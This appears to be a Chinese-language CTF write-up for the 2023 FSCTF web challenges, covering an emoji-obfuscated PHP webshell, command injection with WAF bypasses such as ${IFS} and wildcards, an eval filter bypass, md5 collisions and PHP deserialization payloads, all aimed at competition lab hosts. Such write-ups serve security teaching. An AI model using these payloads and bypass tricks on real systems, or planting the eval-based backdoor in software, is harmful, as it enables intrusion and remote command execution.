2023FSCTFwebWP

2023FSCTFwebWP

源码!启动!

title
title
F12和右键都被禁用了
Ctrl + U 查看源码
title
在源码最下面找到flag

webshell是啥捏

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
highlight_file(__FILE__);
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽'])) {
eval($😭($_GET['👽']));
};

?>

简单的php代码审计,用Ctrl+F一个个查找用于拼接😭的表情所对应的字符,得到$😭=passthru;
然后用GET方式提交👽,RCE即可
payload:

1
http://node4.anna.nssctf.cn:28408/?%F0%9F%91%BD=cat%20/f*

得到flag
title

细狗2.0

title
一个输入框,用;闭合然后试试ls命令
title
有回显,应该可以rce,试一下cat
title
发现有waf,空格被过滤了(被waf用’+’代替了)
然后各种绕过姿势都试了一下
cat 可以用 nl head paste sort tac uniq tail代替
空格(%20) 可以用 %09(tab) %20(space) \x09(tab),也可以用(\x20) ${IFS} $IFS$1 $IFS代替
flag 可以用通配符’ * ‘和’ ? ‘ 代替
得到flag:
title
payload:

1
2
1;nl${IFS}/fl*

1
?hongzh0=1%3Bnl%24%7BIFS%7D%2Ffl*

Hello,you

title
一个简单的注册页面,题目提示是rce,简单的试一下
输入1;ls
回显如下:
title
和上题一样,有waf,各种绕过姿势都试一下
得到flag
title
payload:

1
1;head${IFS}fla*

EZ_eval

title

代码审计一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if(isset($_GET['word'])){
$word = $_GET['word'];
// 过滤了cat,tac,tail等命令,flag字符和' /'符号 可以用paste,uniq等命令或者用' \ '符号绕过命令的过滤限制
if (preg_match("/cat|tac|tail|more|head|nl|flag|less| /", $word)){
die("nonono.");
}
// 将word中的" ? "替换成空字符
$word = str_replace("?", "", $word);
// "?>" 将php闭合了,所以我们要用到标签来rce
eval("?>". $word);
}else{
highlight_file(__FILE__);
}

代码审计后根据waf写payload绕过
payload:

1
2
3
word=<script%09language="php">system('paste%09/f*');
或者
word=<script%09language="php">passthru('ca\t%09/f*');

得到flag
title

  • php短标签:
    1
    2
    3
    1.​<? echo '123';?> #前提是开启配置参数short_open_tags=on​​
    ​2.<script language="php">echo 'hello'; #不需要修改参数开关,但是只能在7.0以下可用。​​
    ​3.<% echo '123';%> #开启配置参数asp_tags=on,并且只能在7.0以下

ez_php1

title
话不多说,先代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a']; // 用变量a,b分别接收get请求的a,b参数
if($a!=$b&&md5($a)==md5($b)) // a,b两个参数不相同,但是要求a,b两个参数的md5加密后值相同 可以查一下加密后md5值相同的两个数(md5碰撞对:QNKCDZO和240610708)
{
echo "!!!";
$c = $_POST['FL_AG']; // 用变量c来接受一个post方式提交的FL_AG参数
if(isset($c)) // 判断c是否为
{
if (preg_match('/^.*(flag).*$/', $ja)) { // 过滤符号
echo 'You are bad guy!!!';
}
else {
echo "Congratulation!!";
echo $hint1; // 输出提示1
}
}
else {
echo "Please input my love FL_AG";
}
} else{
die("game over!");
}
?>

根据代码审计的结果构造payload,使其输出$hint1
用hackbar发包
title
title
得到提示1:L0vey0U.php
访问L0vey0U.php
title
一样的,代码审计

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str']; // $str接受一个get请求的str参数
echo $flag;
// 如果$str反序列化的值等于$KEY的值,那么输出提示2
if (unserialize($str) === "$KEY")
{
echo "$hint2";
}
?>

根据代码审计的结果,我们需要对$KEY进行序列化,然后再用get方式请求就可以得到提示2
对$KEY进行序列化:

1
2
3
4
<?php
$KEY = "YES I love";
echo serialize($KEY);
?>

反序列化的结果是:

1
s:10:"YES I love";

payload:

1
?str=s:10:"YES I love";

title
得到提示2:P0int.php,访问
title
代码审计一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
<?php
highlight_file(__FILE__); // 输出当前文件的源代码,并进行语法高亮显示
error_reporting(0); // 关闭错误报告

class Clazz // 定义一个名为Clazz的类
{
public $a; // 定义一个公共属性$a
public $b; // 定义一个公共属性$b

public function __wakeup() // 当对象被反序列化时,会自动调用此魔术方法
{
// 从文件g0t_f1ag.php中读取内容,将其进行base64编码,然后赋值给$a
$this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
}

public function __destruct() // 当对象被销毁(即在脚本结束时)时,会自动调用此魔术方法
{
echo $this->b; // 输出$b的值
}
}

@unserialize($_POST['data']); // 对POST参数'data'进行反序列化,并忽略任何错误(由于@符号)

?>
  • 根据代码审计的的结果:
  1. 我们需要传入一个序列化的对象(Clazz类),然后使它反序列化然后自动调用两种魔术方法
  2. $a接收了g0t_f1ag.php的base64编码后面的内容,但是没有输出$a 的语句,只有输出$b的语句,所以我们需要用$b来引用$a,实现对$a的输出
  • 得到序列化的对象
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    <?php
    class Clazz
    {
    public $a;
    public $b;

    public function __construct()
    {
    $this->b = &$this->a; // 引用$a
    }
    public function __wakeup()
    {
    $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
    echo $this->b;
    }
    }
    $test = new Clazz();
    echo serialize($test);
    输出结果:
    1
    O:5:"Clazz":2:{s:1:"a";N;s:1:"b";R:2;}
    POST提交参数
    title
    得到一串base64编码的字符串
    title
    1
    PD8NCiRGTEFHPSAiRkxBR3t5MHVfYXJlX2wwdmUhISEhfSINCj8+DQo=
    base64解码得到flag
    1
    2
    3
    <?
    $FLAG= "FLAG{y0u_are_l0ve!!!!}"
    ?>

寻找蛛丝马迹

title
点了一下,没啥反应,根据题目提示,应该是信息搜集类型的题目,Ctrl+U看看源码
title
找到第一段flag: FSCTF{Tell_y0U_n
点了一下css文件,发现有乱码的注释
title
保存下来看看
title
发现第二段flag: oT_To_p
根据提示,同上打开js文件看看
title
保存下来查看
title
发现第三段flag: oInT_oUt_
dirsearch直接开扫
发现robots.txt www.zip 和 DS_store
得到后面的三段flag: tH@t_y000 u_Don’t_ believe_it!}
拼接起来,flag:

1
FSCTF{Tell_y0U_noT_To_poInT_oUt_tH@t_y000u_Don't_believe_it!}

签到plus

根据题目提示,被黑客接管了,可以猜测存在后门,工具扫一下目录
title
发现shell.php,访问
title
一个phpinfo界面,Ctrl+F找一下flag
title
找了个假的flag,观察了一下php的版本,搜一下看看有没有可以利用的漏洞
title
根据如图构造payload
title
响应包如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
HTTP/1.1 200 OK
Host: node4.anna.nssctf.cn:28142
Date: Thu, 02 Nov 2023 00:35:28 GMT
Connection: close
Content-Length: 443

<?php
phpinfo();
$😀="a";
$😁="b";
$😂="c";
$🤣="d";
$😃="e";
$😄="f";
$😅="g";
$😆="h";
$😉="i";
$😊="j";
$😋="k";
$😎="l";
$😍="m";
$😘="n";
$😗="o";
$😙="p";
$😚="q";
$🙂="r";
$🤗="s";
$🤩="t";
$🤔="u";
$🤨="v";
$😐="w";
$😑="x";
$😶="y";
$🙄="z";

$😭 = $😙. $😀. $🤗. $🤗. $🤩. $😆. $🙂. $🤔;

if (isset($_GET['👽🦐'])) {
eval($😭($_GET['👽🦐']));
};

?>

和之前那道rce的题目一样,拿到flag
title

Contents
  1. 1. 2023FSCTFwebWP
    1. 1.1. 源码!启动!
    2. 1.2. webshell是啥捏
    3. 1.3. 细狗2.0
    4. 1.4. Hello,you
    5. 1.5. EZ_eval
    6. 1.6. ez_php1
    7. 1.7. 寻找蛛丝马迹
    8. 1.8. 签到plus
|